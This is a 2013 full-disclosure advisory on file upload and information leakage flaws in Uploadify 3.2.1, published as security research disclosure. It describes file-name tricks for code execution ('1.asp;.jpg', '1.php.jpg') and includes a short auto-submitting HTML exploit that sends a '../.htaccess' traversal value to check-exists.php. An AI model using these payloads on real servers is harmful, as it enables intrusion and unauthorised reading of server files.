full-disclosure - AFU and IL vulnerabilities in Uploadify

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Message-ID: <004e01ced17d$a0cf2410$9b7a6fd5@pc>
Date: Fri, 25 Oct 2013 15:27:30 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>
Subject: AFU and IL vulnerabilities in Uploadify

Hello list!

These are Arbitrary File Uploading and Information Leakage vulnerabilities 
in Uploadify. The same as in June with previous vulnerabilities in 
Uploadify, in September the developers just ignored my warnings, even I sent 
letter to multiple their e-mail addresses.

-------------------------
Affected products:
-------------------------

Vulnerable are Uploadify v3.2.1 and previous versions.

-------------------------
Affected vendors:
-------------------------

Reactive Apps
http://www.uploadify.com

----------
Details:
----------

Arbitrary File Uploading (WASC-31):

Code Execution attack via file uploading. There are two methods of code 
execution: by using of symbol ";" (1.asp;.jpg) in file name (IIS) and by 
double extension (1.php.jpg) (Apache with special configuration).

Information Leakage (WASC-13):

Checking arbitrary file existence at the server.

Uploadify IL.html

<html>
<head>
<title>Uploadify Information Leakage exploit (C) 2013 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/uploadify/check-exists.php" 
method="post">
<input type="hidden" name="filename" value="../.htaccess">
</form>
</body>
</html>

------------
Timeline:
------------ 

2013.09.20 - announced at my site.
2013.09.21 - informed developers on multiple e-mails.
2013.10.24 - disclosed at my site (http://websecurity.com.ua/6777/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

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